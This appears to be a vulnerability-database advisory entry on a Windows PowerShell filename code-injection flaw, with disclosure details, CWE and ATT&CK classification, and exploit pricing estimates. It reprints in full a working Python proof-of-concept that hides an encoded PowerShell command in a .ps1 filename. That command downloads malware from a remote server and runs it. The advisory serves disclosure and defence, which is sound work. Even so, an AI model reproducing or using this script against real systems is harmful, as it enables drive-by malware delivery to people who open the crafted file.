Microsoft Windows PowerShell Semicolon code injection

Summaryinfo

A vulnerability has been found in Microsoft Windows and classified as critical. This vulnerability affects unknown code of the component PowerShell. Performing a manipulation as part of Semicolon results in code injection. The attack is possible to be carried out remotely. Moreover, an exploit is present. The affected component should be disabled.

Detailsinfo

A vulnerability classified as critical has been found in Microsoft Windows (Operating System) (the affected version unknown). This affects an unknown part of the component PowerShell. The manipulation as part of a Semicolon leads to a code injection vulnerability. CWE is classifying the issue as CWE-94. The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. This is going to have an impact on confidentiality, integrity, and availability.

The weakness was disclosed 08/01/2019 by John Page (hyp3rlinx) as not defined advisory (Website). It is possible to read the advisory at hyp3rlinx.altervista.org. The public release has been coordinated in cooperation with Microsoft. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. It demands that the victim is doing some kind of user interaction. Technical details are unknown but a public exploit is available. The pricing for an exploit might be around USD $0-$5k at the moment (estimation calculated on 07/21/2020). The attack technique deployed by this issue is T1059 according to MITRE ATT&CK.

A public exploit has been developed by John Page (hyp3rlinx) and been published immediately after the advisory. The exploit is shared for download at hyp3rlinx.altervista.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 12 days. During that time the estimated underground price was around $25k-$100k. The code used by the exploit is:

from base64 import b64encode
import argparse,sys
#Windows PowerShell - Unsantized Filename Command Execution Vulnerability PoC
#Create ".ps1" files with Embedded commands to download, save and execute malware within a PowerShell Script Filename.
#Expects hostname/ip-addr of web-server housing the exploit.
#By hyp3rlinx
#Apparition Security
#====================


def parse_args():
    parser.add_argument("-i", "--ipaddress", help="Remote server to download and exec malware from.")
    parser.add_argument("-m", "--local_malware_name", help="Name for the Malware after downloading.")
    parser.add_argument("-r", "--remote_malware_name", help="Malwares name on remote server.")
    return parser.parse_args()

def main(args):
    PSEmbedFilenameMalwr=""
    if args.ipaddress:
        PSEmbedFilenameMalwr = "powershell iwr "+args.ipaddress+"/"+args.remote_malware_name+" -O %CD%\\"+args.local_malware_name+" ;sleep -s 2;start "+args.local_malware_name
    return b64encode(PSEmbedFilenameMalwr.encode('UTF-16LE'))

def create_file(payload):
    f=open("Test;PowerShell -e "+payload+";2.ps1", "w")
    f.write("Write-Output 'Have a nice day!'")
    f.close()

if __name__=="__main__":
    
    parser = argparse.ArgumentParser()
    PSCmds = main(parse_args())

    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        sys.exit(1)
        
    create_file(PSCmds)
    print "PowerShell - Unsantized Filename Command Execution File created!"
    print "By hyp3rlinx"

The best possible mitigation is suggested to be disabling the affected component.

Be aware that VulDB is the high quality source for vulnerability data.

Productinfo

Type

• Operating System

Vendor

• Microsoft

Name

• Windows

License

• commercial

Website

• Vendor: https://www.microsoft.com/
• Product: https://www.microsoft.com/en-us/windows

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

Video

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Exploitinginfo

Threat Intelligenceinfo

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Entryinfo

Submitinfo

Accepted

• Submit #80: Microsoft Windows PowerShell / Unsanitized Filename Command Execution (by hyp3rlinx)

Duplicate

• Submit #XXXXXX: Xxxxxxx Xxxxxxxxxx / Xxxxxx Xxxx Xxx (xxxxxxxxx) (by hyp3rlinx)
• Submit #XXXXXX: Xxxxxxxxx Xxxxxxxx Xxxx-xxxxxxx Xxxxxxxxxx Xxx * Xxxxxx Xxxx Xxxxxxxxx (by hyp3rlinx)

Be aware that VulDB is the high quality source for vulnerability data.

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